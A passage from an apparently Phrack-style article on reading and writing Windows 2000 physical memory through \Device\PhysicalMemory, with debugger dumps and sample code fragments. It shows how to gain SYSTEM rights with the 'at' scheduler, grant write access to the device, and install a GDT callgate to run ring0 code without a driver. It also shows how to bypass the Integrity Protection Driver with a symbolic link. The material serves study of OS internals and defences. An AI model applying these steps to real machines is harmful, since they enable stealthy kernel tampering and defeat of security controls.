extension DLL f1919231 eb30 jmp f1919263 kd> !object \Device\PhysicalMemory !object \Device\PhysicalMemory Object: e1001240 Type: (fd038880) Section ObjectHeader: e1001228 HandleCount: 0 PointerCount: 3 Directory Object: fd038970 Name: PhysicalMemory The basic object parser from kd (kernel debugger) tells us some information about it. No need to explain all of these field means, most of them are explicit enough if you have readen the article from the beginning if not "jmp dword Introduction_to_Windows_Objects". Ok the interesting thing is that it's a Section type object so that clearly mean that we are going to deal with some memory related toy. Now let's dump the object's header structure. kd> dd e1001228 L 6 dd e1001228 L 6 e1001228 00000003 00000000 fd038880 12200010 e1001238 00000001 e1008bf8 details: --> 00000003 : PointerCount = 3 --> 00000000 : HandleCount = 0 --> fd038880 : pointer to object type = 0xfd038880 --> 12200010 --> 10 : NameOffset --> 00 : HandleDBOffset --> 20 : QuotaChargeOffset --> 12 : ObjectFlags = OB_FLAG_PERMANENT & OB_FLAG_KERNEL_MODE --> 00000001 : QuotaBlock --> e1008bf8 : SecurityDescriptor Ok the NameOffset exists, well no surprise, this object has a name .. but the HandleDBOffset don't. That means that the object doesnt track handle assigned to it. The QuotaChargeOffset isn't really interesting and the ObjectFlags tell us that this object is permanent and has been created by the kernel. For now nothing very interesting ... We dump the object's name structure just to be sure we are not going the wrong way :). (Remember that offset are negative). kd> dd e1001228-10 L3 dd e1001228-10 L3 e1001218 fd038970 001c001c e1008ae8 --> fd038970 : pointer to object Directory --> 001c001c --> 001c : UNICODE_STRING.Length --> 001c : UNICODE_STRING.MaximumLength --> e1008ae8 : UNICODE_STRING.Buffer (pointer to wide char string) kd> du e1008ae8 du e1008ae8 e1008ae8 "PhysicalMemory" Ok now, let's look at the interesting part, the security descriptor: kd> !sd e1008bf8 !sd e1008bf8 ->Revision: 0x1 ->Sbz1 : 0x0 ->Control : 0x8004 SE_DACL_PRESENT SE_SELF_RELATIVE ->Owner : S-1-5-32-544 ->Group : S-1-5-18 ->Dacl : ->Dacl : ->AclRevision: 0x2 ->Dacl : ->Sbz1 : 0x0 ->Dacl : ->AclSize : 0x44 ->Dacl : ->AceCount : 0x2 ->Dacl : ->Sbz2 : 0x0 ->Dacl : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE ->Dacl : ->Ace[0]: ->AceFlags: 0x0 ->Dacl : ->Ace[0]: ->AceSize: 0x14 ->Dacl : ->Ace[0]: ->Mask : 0x000f001f ->Dacl : ->Ace[0]: ->SID: S-1-5-18 ->Dacl : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE ->Dacl : ->Ace[1]: ->AceFlags: 0x0 ->Dacl : ->Ace[1]: ->AceSize: 0x18 ->Dacl : ->Ace[1]: ->Mask : 0x0002000d ->Dacl : ->Ace[1]: ->SID: S-1-5-32-544 ->Sacl : is NULL In other words that means that the \Device\PhysicalMemory object has this following rights: user SYSTEM: Delete, Change Permissions, Change Owner, Query Data, Query State, Modify State user Administrator: Query Data, Query State So basically, user Administrator as no right to Write here but user SYSTEM do, so that mean that Administrator does too. You have to notice that in fact THIS IS NOT LIKE /dev/kmem !! /dev/kmem maps virtual memory on Linux, \Device\PhysicalMemory maps physical memory, the right title for this article should be "Playing with Windows /dev/mem" as /dev/mem maps physical memory but /dev/kmem sounds better and much more wellknown :). As far as i know the Section object body structure hasn't been yet reversed as i'm writing the article so we can't analyze it's body. ----[ 3.2 need writing access ? Ok .. we are user administrator and we want to play with our favourite Object, what can we do ? As most Windows administrators should know it is possible to run any process as user SYSTEM using the schedule service. If you want to be sure that you can, just start the schedule with "net start schedule" and then try add a task that launch regedit.exe c:\>at /interactive regedit.exe After that try to look at the SAM registry key, if you can, you are user SYSTEM otherwise you are still administrator since only user SYSTEM has reading rights. Ok that's fine if we are user Administrator but what's up if we want to allow somebody/everyone to write to \Device\PhysicalMemory (for learning purpose off course). We just have to add another ACL (access-control list) to this object. To do this you have to follow these steps: 1) Open a handle to \Device\PhysicalMemory (NtOpenSection) 2) Retrieve the security descriptor of it (GetSecurityInfo) 3) Add Read/Write authorization to the current ACL (SetEntriesInAcl) 4) Update the security descriptor (SetSecurityInfo) 5) Close the handle previously opened see chmod_mem.c sample code. After having run chmod_mem.exe we dump another time the security descriptor of \Device\PhysicalMemory. kd> !object \Device\PhysicalMemory !object \Device\PhysicalMemory Object: e1001240 Type: (fd038880) Section ObjectHeader: e1001228 HandleCount: 0 PointerCount: 3 Directory Object: fd038970 Name: PhysicalMemory kd> dd e1001228+0x14 L1 dd e1001228+0x14 L1 e100123c e226e018 kd> !sd e226e018 !sd e226e018 ->Revision: 0x1 ->Sbz1 : 0x0 ->Control : 0x8004 SE_DACL_PRESENT SE_SELF_RELATIVE ->Owner : S-1-5-32-544 ->Group : S-1-5-18 ->Dacl : ->Dacl : ->AclRevision: 0x2 ->Dacl : ->Sbz1 : 0x0 ->Dacl : ->AclSize : 0x68 ->Dacl : ->AceCount : 0x3 ->Dacl : ->Sbz2 : 0x0 ->Dacl : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE ->Dacl : ->Ace[0]: ->AceFlags: 0x0 ->Dacl : ->Ace[0]: ->AceSize: 0x24 ->Dacl : ->Ace[0]: ->Mask : 0x00000002 ->Dacl : ->Ace[0]: ->SID: S-1-5-21-1935655697-436374069-1060284298-500 ->Dacl : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE ->Dacl : ->Ace[1]: ->AceFlags: 0x0 ->Dacl : ->Ace[1]: ->AceSize: 0x14 ->Dacl : ->Ace[1]: ->Mask : 0x000f001f ->Dacl : ->Ace[1]: ->SID: S-1-5-18 ->Dacl : ->Ace[2]: ->AceType: ACCESS_ALLOWED_ACE_TYPE ->Dacl : ->Ace[2]: ->AceFlags: 0x0 ->Dacl : ->Ace[2]: ->AceSize: 0x18 ->Dacl : ->Ace[2]: ->Mask : 0x0002000d ->Dacl : ->Ace[2]: ->SID: S-1-5-32-544 ->Sacl : is NULL Our new Ace (access-control entry) is Ace[0] with a 0x00000002 (SECTION_MAP_WRITE) right. For more information about Security win32 API see MSDN ([9]). --[ 4 - Having fun with \Device\PhysicalMemory Why playing with \Device\PhysicalMemory ? reading, writing, patching memory i would say. That should be enough :) ----[ 4.1 Reading/Writing to memory Ok let's start playing... In order to read/write to \Device\PhysicalMemory, you have do this way: 1) Open a Handle to the object (NtOpenSection) 2) Translate the virtual address into a physical address 3) Map the section to a memory space (NtMapViewOfSection) 4) Read/Write data where the memory has been mapped 5) Unmap the section (NtUnmapViewOfSection) 6) Close the object's Handle (NtClose) Our main problem for now is how to translate the virtual address to a physical address. We know that in kernel-mode (ring0), there is a function called MmGetPhysicalAddress exported by ntoskrnl.exe which do that. But we are in ring3 so we have to "emulate" such function. --- from ntddk.h PHYSICAL_ADDRESS MmGetPhysicalAddress(void *BaseAddress); --- PHYSICAL_ADDRESS is a quad-word (64 bits). At the beginning i wanted to join with the article the analysis of the assembly code but it's too long. And as address translation is sort of generic (cpu relative) i only go fast on this subject. The low part of the quad-word is passed in eax and the high part in edx. For virtual to physical address translation we have 2 cases: * case 0x80000000 <= BaseAddress < 0xA0000000: the only thing we need to do is to apply a 0x1FFFF000 mask to the virtual address. * case BaseAddress < 0x80000000 && BaseAddress >= 0xA0000000 This case is a problem for us as we have no way to translate addresses in this range because we need to read cr3 register or to run non ring3 callable assembly instruction. For more information about Paging on Intel arch take a look at Intel Software Developer's Manual Volume 3 (see [5]). EliCZ told me that by his experience we can guess a physical address for this range by masking the byte offset and keeping a part of the page directory index. mask: 0xFFFF000. We can know produce a light version of MmGetPhysicalAddress() PHYSICAL_MEMORY MyGetPhysicalAddress(void *BaseAddress) { if (BaseAddress < 0x80000000 || BaseAddress >= 0xA0000000) { return(BaseAddress & 0xFFFF000); } return(BaseAddress & 0x1FFFF000); } The problem with the addresses outside the [0x80000000, 0xA0000000] is that they can't be guessed with a very good sucess rate. That's why if you want good results you would rather call the real MmGetPhysicalAddress(). We will see how to do that in few chapter. See winkdump.c for sample memory dumper. After some tests using winkdump i realised that in fact there is another problem in our *good* range :>. When translating virtual address above 0x877ef000 the physical address is getting above 0x00000000077e0000. And on my system this is not *possible*: kd> dd MmHighestPhysicalPage l1 dd MmHighestPhysicalPage l1 8046a04c 000077ef We can see that the last physical page is locate at 0x0000000077ef0000. So in fact that means that we can only dump a small section of the memory. But anyway the goal of this chapter is much more an explaination about how to start using \Device\PhysicalMemory than to create a *good* memory dumper. As the dumpable range is where ntoskrnl.exe and HAL.dll (Hardware Abstraction Layer) are mapped you can still do some stuff like dumping the syscall table: kd> ? KeServiceDescriptorTable ? KeServiceDescriptorTable Evaluate expression: -2142852224 = 8046ab80 0x8046ab80 is the address of the System Service Table structure which looks like: typedef struct _SST { PDWORD ServiceTable; // array of entry points PDWORD CounterTable; // array of usage counters DWORD ServiceLimit; // number of table entries PBYTE ArgumentTable; // array of byte counts } SST, *PSST; C:\coding\phrack\winkdump\Release>winkdump.exe 0x8046ab80 16 *** win2k memory dumper using \Device\PhysicalMemory *** Virtual Address : 0x8046ab80 Allocation granularity: 65536 bytes Offset : 0xab80 Physical Address : 0x0000000000460000 Mapped size : 45056 bytes View size : 16 bytes d8 04 47 80 00 00 00 00 f8 00 00 00 bc 08 47 80 | ..G...........G. Array of pointers to syscalls: 0x804704d8 (symbol KiServiceTable) Counter table : NULL ServiceLimit : 248 (0xf8) syscalls Argument table : 0x804708bc (symbol KiArgumentTable) We are not going to dump the 248 syscalls addresses but just take a look at some: C:\coding\phrack\winkdump\Release>winkdump.exe 0x804704d8 12 *** win2k memory dumper using \Device\PhysicalMemory *** Virtual Address : 0x804704d8 Allocation granularity: 65536 bytes Offset : 0x4d8 Physical Address : 0x0000000000470000 Mapped size : 4096 bytes View size : 12 bytes bf b3 4a 80 6b e8 4a 80 f3 de 4b 80 | ..J.k.J...K. * 0x804ab3bf (NtAcceptConnectPort) * 0x804ae86b (NtAccessCheck) * 0x804bdef3 (NtAccessCheckAndAuditAlarm) In the next section we will see what are callgates and how we can use them with \Device\PhysicalMemory to fix problems like our address translation thing. ----[ 4.2 What's a Callgate Callgate are mechanisms that enable a program to execute functions in higher privilege level than it is. Like a ring3 program could execute ring0 code. In order to create a Callgate yo must specify: 1) which ring level you want the code to be executed 2) the address of the function that will be executed when jumping to ring0 3) the number of arguments passed to the function When the callgate is accessed, the processor first performs a privilege check, saves the current SS, ESP, CS and EIP registers, then it loads the segment selector and stack pointer for the new stack (ring0 stack) from the TSS into the SS and ESP registers. At this point it can switch to the new ring0 stack. SS and ESP registers are pushed onto the stack, the arguments are copied. CS and EIP (saved) registers are now pushed onto the stack for the calling procedure to the new stack. The new segment selector is loaded for the new code segment and instruction pointer from the callgate is loaded into CS and EIP registers. Finnaly :) it jumps to the function's address specified when creating the callgate. The function executed in ring0 MUST clean its stack once it has finished executing, that's why we are going to use __declspec(naked) (MS VC++ 6) when defining the function in our code (similar to __attribute__(stdcall) for GCC). --- from MSDN: __declspec( naked ) declarator For functions declared with the naked attribute, the compiler generates code without prolog and epilog code. You can use this feature to write your own prolog/epilog code using inline assembler code. --- For more information about callgates look at Intel Software Developer's Manual Volume 1 (see [5]). In order to install a Callgate we have 2 choices: or we manually seek a free entry in the GDT where we can place our Callgate or we use some undocumented functions of ntoskrnl.exe. But these functions are only accessible from ring0. It's useless in our case since we are not in ring0 but anyway i will very briefly show you them: NTSTATUS KeI386AllocateGdtSelectors(USHORT *SelectorArray, USHORT nSelectors); NTSTATUS KeI386ReleaseGdtSelectors(USHORT *SelectorArray, USHORT nSelectors); NTSTATUS KeI386SetGdtSelector(USHORT Selector, PVOID Descriptor); Their names are explicits enough i think :). So if you want to install a callgate, first allocate a GDT selector with KeI386AllocateGdtSelectors(), then set it with KeI386SetGdtSelector. When you are done just release it with KeI386ReleaseGdtSelectors. That's interesting but it doesn't fit our need. So we need to set a GDT selector while executing code in ring3. Here comes \Device\PhysicalMemory. In the next section i will explain how to use \Device\PhysicalMemory to install a callgate. ----[ 4.3 Running ring0 code without the use of Driver First question, "why running ring0 code without the use of Device Driver ?" Advantages: * no need to register a service to the SCM (Service Control Manager). * stealth code ;) Inconvenients: * code would never be as stable as if running from a (well coded) device driver. * we need to add write access to \Device\PhysicalMemory So just keep in mind that you are dealing with hell while running ring0 code through \Device\PhysicalMemory =] Ok now we can write the memory and we know that we can use callgate to run ring0 so what are you waiting ? First we need to know what part of the section to map to read the GDT table. This is not a problem since we can access the global descriptor table register using "sgdt" assembler instruction. typedef struct _KGDTENTRY { WORD LimitLow; // size in bytes of the GDT WORD BaseLow; // address of GDT (low part) WORD BaseHigh; // address of GDT (high part) } KGDTENTRY, *PKGDTENTRY; KGDT_ENTRY gGdt; _asm sgdt gGdt; // load Global Descriptor Table register into gGdt We translate the Virtual address from BaseLow/BaseHigh to a physical address and then we map the base address of the GDT table. We are lucky because even if the GDT table adddress is not in our *wanted* range, it will be right translated (in 99% cases). PhysicalAddress = GetPhysicalAddress(gGdt.BaseHigh << 16 | gGdt.BaseLow); NtMapViewOfSection(SectionHandle, ProcessHandle, BaseAddress, // pointer to mapped memory 0L, gGdt.LimitLow, // size to map &PhysicalAddress, &ViewSize, // pointer to mapped size ViewShare, 0, // allocation type PAGE_READWRITE); // protection Finally we loop in the mapped memory to find a free selector by looking at the "Present" flag of the Callgate descriptor structure. typedef struct _CALLGATE_DESCRIPTOR { USHORT offset_0_15; // low part of the function address USHORT selector; UCHAR param_count :4; UCHAR some_bits :4; UCHAR type :4; // segment or gate type UCHAR app_system :1; // segment descriptor (0) or system segment (1) UCHAR dpl :2; // specify which privilege level can call it UCHAR present :1; USHORT offset_16_31; // high part of the function address } CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR; offset_0_15 and offset_16_31 are just the low/high word of the function address. The selector can be one of this list: --- from ntddk.h #define KGDT_NULL 0 #define KGDT_R0_CODE 8 // <-- what we need (ring0 code) #define KGDT_R0_DATA 16 #define KGDT_R3_CODE 24 #define KGDT_R3_DATA 32 #define KGDT_TSS 40 #define KGDT_R0_PCR 48 #define KGDT_R3_TEB 56 #define KGDT_VDM_TILE 64 #define KGDT_LDT 72 #define KGDT_DF_TSS 80 #define KGDT_NMI_TSS 88 --- Once the callgate is installed there are 2 steps left to supreme ring0 power: coding our function called with the callgate and call the callgate. As said in section 4.2, we need to code a function with a ring0 prolog / epilog and we need to clean our stack. Let's take a look at this sample function: void __declspec(naked) Ring0Func() { // our nude function :] // ring0 prolog _asm { pushad // push eax,ecx,edx,ebx,ebp,esp,esi,edi onto the stack pushfd // decrement stack pointer by 4 and push EFLAGS onto the stack cli // disable interrupt } // execute your ring0 code here ... // ring0 epilog _asm { popfd // restore registers pushed by pushfd popad // restore registers pushed by pushad retf // you may retf if you pass arguments } } Pushing all registers onto the stack is the way we use to save all registers while the ring0 code execution. 1 step left, calling the callgate... A standart call won't fit as the callgate procedure is located in a different privilege level (ring0) than the current code privilege level (ring3). We are doing to do a "far call" (inter-privilege level call). So in order to call the callgate you must do like this: short farcall[3]; farcall[0 --> 1] = offset from the target operand. This is ignored when a callgate is used according to "IA-32 Intel Architecture Software Developer's Manual (Volume 2)" (see [5]). farcall[2] = callgate selector At this time we can call our callgate using inline assembly. _asm { push arg1 ... push argN call fword ptr [farcall] } I forgot to mention that as it's a farcall first argument is located at [ebp+0Ch] in the callgate function. ----[ 4.4 Deeper into Process listing Now we will see how to list process in the kernel the lowest level we can do :). The design goal of creating a Kernel process lister at the lowest level could be to see process hidden by a rootkit (taskmgr.exe patched, Syscall hooked, ...). You remember that Jamirocai song: "Going deeper underground". We will do the same. Let's see which way we can use to list process. - Process32First/Process32Next, the easy documented way (ground level) - NtQuerySystemInformation using Class 5, Native API way. Basicly not documented but there are many sample on internet (level -1) - ExpGetProcessInformation, called internally by NtQuerySystemInformation (level -2) - Reading the double chained list PsActiveProcessHead (level -3) :p Ok now we are deep enough. The double chained list scheme looks like: APL (f): ActiveProcessLinks.FLink APL (b): ActiveProcessLinks.BLink process1 process2 process3 processN 0x000 |----------| |----------| |----------| | EPROCESS | | EPROCESS | | EPROCESS | | ... | | ... | | ... | 0x0A0 | APL (f) |----->| APL (f) |----->| APL (f) |-----> ... 0x0A4 | APL (b) | \-<--| APL (b) | \-<--| APL (b) | \-<-- ... | ... | | ... | | ... | |----------| |----------| |----------| As you can see (well ... my scheme is not that good :/) the next/prev pointers of the ActiveProcessLinks struct are not _EPROCESS structure pointers. They are pointing to the next LIST_ENTRY struct. That means that if we want to retrieve the _EPROCESS structure address, we have to adjust the pointer. (look at _EPROCESS struct definition in kmem.h in sample code section) LIST_ENTRY ActiveProcessLinks is at offset 0x0A0 in _EPROCESS struct: --> Flink = 0x0A0 --> Blink = 0x0A4 So we can quickly create some macros for later use: #define TO_EPROCESS(_a) ((char *) _a - 0xA0) // Flink to _EPROCESS #define TO_PID(_a) ((char *) _a - 0x4) // Flink to UniqueProcessId #define TO_PNAME(_a) ((char *) _a + 0x15C) // Flink to ImageFileName The head of the LIST_ENTRY list is PsActiveProcessHead. You can get its address with kd for example: kd> ? PsActiveProcessHead ? PsActiveProcessHead Evaluate expression: -2142854784 = 8046a180 Just one thing to know. As this List can change very quickly, you may want to lock it before reading it. Reading ExpGetProcessInformation assembly, we can see: mov ecx, offset _PspActiveProcessMutex call ds:__imp_@ExAcquireFastMutex@4 [...] mov ecx, offset _PspActiveProcessMutex call ds:__imp_@ExReleaseFastMutex@4 ExAcquireFastMutex and ExReleaseFastMutex are __fastcall defined so the arguments are pushed in reverse order (ecx, edx,...). They are exported by HAL.dll. By the way i don't lock it in winkps.c :) Ok, first we install a callgate to be able to execute the ring0 function (MmGetPhysicalAddress and ExAcquireFastMutex/ExReleaseFastMutex if you want), then we list the process and finally we remove the callgate. See winkps.c in sample code section. Installing the callgate is an easy step as you can see in the sample code. The hard part is reading the LIST_ENTRY struct. It's kinda strange because reading a chained list is not supposed to be hard but we are dealing with physical memory. First in order to avoid too much use of our callgate we try to use it as less as we can. Remember, running ring0 code in ring3 is not *a good thing*. Problems could happend on the dispatch level where the thread is executed and second your thread (i think) have a lower priority than a device driver even if you use SetThreadPriority(). The scheduler base his scheduling on 2 things, the BasePriority of a process and his Current priority, when you modify thread priority using win32 API SetThreadPriority(), the current priority is changed but it's relative to the base priority. And there is no way to change base priority of a process in ring3. So in order to prevent mapping the section for every process i map 1mb section each time i need to map one. I think it's the best choice since most of the EPROCESS structures are located around 0xfce***** - 0xfcf*****. C:\coding\phrack\winkps\Release>winkps *** win2k process lister *** Allocation granularity: 65536 bytes MmGetPhysicalAddress : 0x804374e0 virtual address of GDT : 0x80036000 physical address of GDT: 0x0000000000036000 Allocated segment : 3fb mapped 0xb000 bytes @ 0x00430000 (init Size: 0xa184 bytes) mapped 0x100000 bytes @ 0x0043e000 (init Size: 0x100000 bytes) + 8 System mapped 0x100000 bytes @ 0x0054e000 (init Size: 0x100000 bytes) + 136 smss.exe + 160 csrss.exe + 156 winlogon.exe + 208 services.exe + 220 lsass.exe + 420 regsvc.exe + 436 svchost.exe + 480 svchost.exe + 524 WinMgmt.exe mapped 0x100000 bytes @ 0x0065e000 (init Size: 0x100000 bytes) + 656 Explorer.exe + 764 OSA.EXE + 660 mdm.exe + 752 cmd.exe + 532 msdev.exe + 604 ssh.exe + 704 Livekd.exe + 716 i386kd.exe + 448 uedit32.exe + 260 winkps.exe 3 sections mapping + 1 for selecting the first entry (process) looks good. I will just briefly describe the winkps.c but better take time to read the code. Flow of winkps.c - GetSystemInfo() grab Allocation granularity on the system. (used for calculating offset on address translation). - LoadLibrary() get the address of MmGetPhysicalAddress in ntoskrnl.exe. This can also be done by parsing the PE header. - NtOpenSection() open \Device\PhysicalMemory r/w. - InstallCallgate() Map the section for install/remove callgate and install the callgate using second argument as callgate function. - DisplayProcesses() main loop. Errors are catched by the execption handler. I do this in order to try cleaning the callgate even if there is an error like access violation (could happend if bad mapping). - UninstallCallgate() Remove the callgate and unmap the mapping of the section. - NtClose() Simply close the opened HANDLE :) Now it's time you to read the code and try to recode winkdump.c with a better address translation support using a callgate :> ----[ 4.5 Bonus Track As far as i know, the only product that try to restrict access to \Device\PhysicalMemory is "Integrity Protection Driver (IPD)" from Pedestal Software (see [6]). --- from README: The IPD forbids any process from opening \Device\PhysicalMemory. --- ok so .. let's say we want to use ipd and we still want to play with \Device\PhysicalMemory heh :). I don't really know if this product is well- known but anyway i wanted to bypass its protection. In order to restrict access to \Device\PhysicalMemory IPD hooks ZwOpenSection() and check that the Section being opened is not called "\Device\PhysicalMemory". --- from h_mem.c if (restrictEnabled()) { if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Length>0) { if (_wcsicmp(ObjectAttributes->ObjectName->Buffer, L"\\Device\\PhysicaMemory")==0) { WCHAR buf[200]; swprintf(buf, L"Blocking device/PhysicalMemory access, procid=0x%x\n", PsGetCurrentProcessId()); debugOutput(buf); return STATUS_ACCESS_DENIED; } } } --- _wcsicmp() perform a lowercase comparison of 2 Unicode buffer so if we find a way to open the object using another name we are done :). In first chapter we have seen that there were a symbolic link object type so what's about creating a symbolic link object linked to \Device\PhysicalMemory ? By looking at ntdll.dll export table, you can find a function called "NtCreateSymbolicLinkObject" but like most of interesting things it's not documented. The prototype is like this: NTSTATUS NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObAttributes, PUNICODE_STRING ObName); So we just have to call this function with "\Device\PhysicalMemory" as the ObName and we set our new name in the OBJECT_ATTRIBUTES structures. We use "\??\" as root directory for our object so the name is now "\??\hack_da_ipd". At the beginning i was asking myself how the kernel would resolve the symbolic link when calling NtOpenSection with "\??\hack_da_ipd". If NtOpenSection was checking that the destination object is a symbolic link and then recall NtOpenSection with the real name of the object, our symbolic link would be useless because IPD could detect it. So i straced it: --- [...] 3 NtCreateSymbolicLinkObject(0x1, {24, 0, 0x40, 0, 0, "\??\hack_da_ipd"}, 1245028, ... 48, ) == 0x0 4 NtAllocateVirtualMemory(-1, 1244448, 0, 1244480, 4096, 4, ... ) == 0x0 5 NtRequestWaitReplyPort(36, {124, 148, 0, 16711934, 4222620, 256, 0}, ... {124, 148, 2, 868, 840, 7002, 0}, ) == 0x0 6 NtOpenSection (0x4, {24, 0, 0x40, 0, 0, "\??\hack_da_ipd"}, ... 44, ) == 0x0 7 NtRequestWaitReplyPort (36, {124, 148, 0, 868, 840, 7002, 0}, ... {124, 148, 2, 868, 840, 7003, 0}, ) == 0x0 8 NtClose (44, ... ) == 0x0 9 NtClose (48, ... ) == 0x0 [...] --- (a strace for Windows is avaible at BindView's RAZOR web site. see [7]) As you can see NtOpenSection doesn't recall itself with the real name of the object so all is good. At this point \Device\PhysicalMemory is our so IPD is 100% corrupted :p as we can read/write whereever we want in the memory. Remember that you must run this program with user SYSTEM. --[ 5 - Sample code LICENSE: Sample code provided with the article may be copied/duplicated and modified in any form as long as this copyright is prepended unmodified. Code are proof of concept and the author can and must not be made responsible for any damage/data loss. Use this code at your own risk. crazylord / CNS ----[ 5.1 kmem.h typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; #define OBJ_CASE_INSENSITIVE 0x00000040L #define OBJ_KERNEL_HANDLE 0x00000200L typedef LONG NTSTATUS; #define STATUS_SUCCESS (NTSTATUS) 0x00000000L #define STATUS_ACCESS_DENIED (NTSTATUS) 0xC0000022L #define MAKE_DWORD(_l, _h) (DWORD) (_l | (_h << 16)) typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; // useful macros #define InitializeObjectAttributes( p, n, a, r, s ) { \ (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ (p)->RootDirectory = r; \ (p)->Attributes = a; \ (p)->ObjectName = n; \ (p)->SecurityDescriptor = s; \ (p)->SecurityQualityOfService = NULL; \ } #define INIT_UNICODE(_var,_buffer) \ UNICODE_STRING _var = { \ sizeof (_buffer) - sizeof (WORD), \ sizeof (_buffer), \ _buffer } // callgate info typedef struct _KGDTENTRY { WORD LimitLow; WORD BaseLow; WORD BaseHigh; } KGDTENTRY, *PKGDTENTRY; typedef struct _CALLGATE_DESCRIPTOR { USHORT offset_0_15; USHORT selector; UCHAR param_count :4; UCHAR some_bits :4; UCHAR type :4; UCHAR app_system :1; UCHAR dpl :2; UCHAR present :1; USHORT offset_16_31; } CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR; // section info typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; typedef enum _SECTION_INHERIT { ViewShare = 1, ViewUnmap = 2 } SECTION_INHERIT; typedef struct _MAPPING { /*000*/ PHYSICAL_ADDRESS pAddress; /*008*/ PVOID vAddress; /*00C*/ DWORD Offset; /*010*/ } MAPPING, *PMAPPING; // symlink info #define SYMBOLIC_LINK_QUERY (0x0001) #define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) // process info // Flink to _EPROCESS #define TO_EPROCESS(_a) ((DWORD) _a - 0xA0) // Flink to UniqueProcessId #define TO_PID(_a) (DWORD) ((DWORD) _a - 0x4) // Flink to ImageFileName #define TO_PNAME(_a) (PCHAR) ((DWORD) _a + 0x15C) typedef struct _DISPATCHER_HEADER { /*000*/ UCHAR Type; /*001*/ UCHAR Absolute; /*002*/ UCHAR Size; /*003*/ UCHAR Inserted; /*004*/ LONG SignalState; /*008*/ LIST_ENTRY WaitListHead; /*010*/ } DISPATCHER_HEADER; typedef struct _KEVENT { /*000*/ DISPATCHER_HEADER Header; /*010*/ } KEVENT, *PKEVENT; typedef struct _FAST_MUTEX { /*000*/ LONG Count; /*004*/ PVOID Owner; /*008*/ ULONG Contention; /*00C*/ KEVENT Event; /*01C*/ ULONG OldIrql; /*020*/ } FAST_MUTEX, *PFAST_MUTEX; // the two following definition come from w2k_def.h by Sven B. Schreiber typedef struct _MMSUPPORT { /*000*/ LARGE_INTEGER LastTrimTime; /*008*/ DWORD LastTrimFaultCount; /*00C*/ DWORD PageFaultCount; /*010*/ DWORD PeakWorkingSetSize; /*014*/ DWORD WorkingSetSize; /*018*/ DWORD MinimumWorkingSetSize; /*01C*/ DWORD MaximumWorkingSetSize; /*020*/ PVOID VmWorkingSetList; /*024*/ LIST_ENTRY WorkingSetExpansionLinks; /*02C*/ BOOLEAN AllowWorkingSetAdjustment; /*02D*/ BOOLEAN AddressSpaceBeingDeleted; /*02E*/ BYTE ForegroundSwitchCount; /*02F*/ BYTE MemoryPriority; /*030*/ } MMSUPPORT, *PMMSUPPORT; typedef struct _IO_COUNTERS { /*000*/ ULONGLONG ReadOperationCount; /*008*/ ULONGLONG WriteOperationCount; /*010*/ ULONGLONG OtherOperationCount; /*018*/ ULONGLONG ReadTransferCount; /*020*/ ULONGLONG WriteTransferCount; /*028*/ ULONGLONG OtherTransferCount; /*030*/ } IO_COUNTERS, *PIO_COUNTERS; // this is a very simplified version :) of the EPROCESS // structure. typedef struct _EPROCESS { /*000*/ BYTE Pcb[0x6C]; /*06C*/ NTSTATUS ExitStatus; /*070*/ KEVENT LockEvent; /*080*/ DWORD LockCount; /*084*/ DWORD dw084; /*088*/ LARGE_INTEGER CreateTime; /*090*/ LARGE_INTEGER ExitTime; /*098*/ PVOID LockOwner; /*09C*/ DWORD UniqueProcessId; /*0A0*/ LIST_ENTRY ActiveProcessLinks; // see PsActiveListHead /*0A8*/ DWORD QuotaPeakPoolUsage[2]; // NP, P /*0B0*/ DWORD QuotaPoolUsage[2]; // NP, P /*0B8*/ DWORD PagefileUsage; /*0BC*/ DWORD CommitCharge; /*0C0*/ DWORD PeakPagefileUsage; /*0C4*/ DWORD PeakVirtualSize; /*0C8*/ LARGE_INTEGER VirtualSize; /*0D0*/ MMSUPPORT Vm; /*100*/ LIST_ENTRY SessionProcessLinks; /*108*/ DWORD dw108[6]; /*120*/ PVOID DebugPort; /*124*/ PVOID ExceptionPort; /*128*/ PVOID ObjectTable; /*12C*/ PVOID Token; /*130*/ FAST_MUTEX WorkingSetLock; /*150*/ DWORD WorkingSetPage; /*154*/ BOOLEAN ProcessOutswapEnabled; /*155*/ BOOLEAN ProcessOutswapped; /*156*/ BOOLEAN AddressSpaceInitialized; /*157*/ BOOLEAN AddressSpaceDeleted; /*158*/ FAST_MUTEX AddressCreationLock; /*178*/ KSPIN_LOCK HyperSpaceLock; /*17C*/ DWORD ForkInProgress; /*180*/ WORD VmOperation; /*182*/ BOOLEAN ForkWasSuccessful; /*183*/ BYTE MmAgressiveWsTrimMask; /*184*/ DWORD VmOperationEvent; /*188*/ PVOID PaeTop; /*18C*/ DWORD LastFaultCount; /*190*/ DWORD ModifiedPageCount; /*194*/ PVOID VadRoot; /*198*/ PVOID VadHint; /*19C*/ PVOID CloneRoot; /*1A0*/ DWORD NumberOfPrivatePages; /*1A4*/ DWORD NumberOfLockedPages; /*1A8*/ WORD NextPageColor; /*1AA*/ BOOLEAN ExitProcessCalled; /*1AB*/ BOOLEAN CreateProcessReported; /*1AC*/ HANDLE SectionHandle; /*1B0*/ PVOID Peb; /*1B4*/ PVOID SectionBaseAddress; /*1B8*/ PVOID QuotaBlock; /*1BC*/ NTSTATUS LastThreadExitStatus; /*1C0*/ DWORD WorkingSetWatch; /*1C4*/ HANDLE Win32WindowStation; /*1C8*/ DWORD InheritedFromUniqueProcessId; /*1CC*/ ACCESS_MASK GrantedAccess; /*1D0*/ DWORD DefaultHardErrorProcessing; // HEM_* 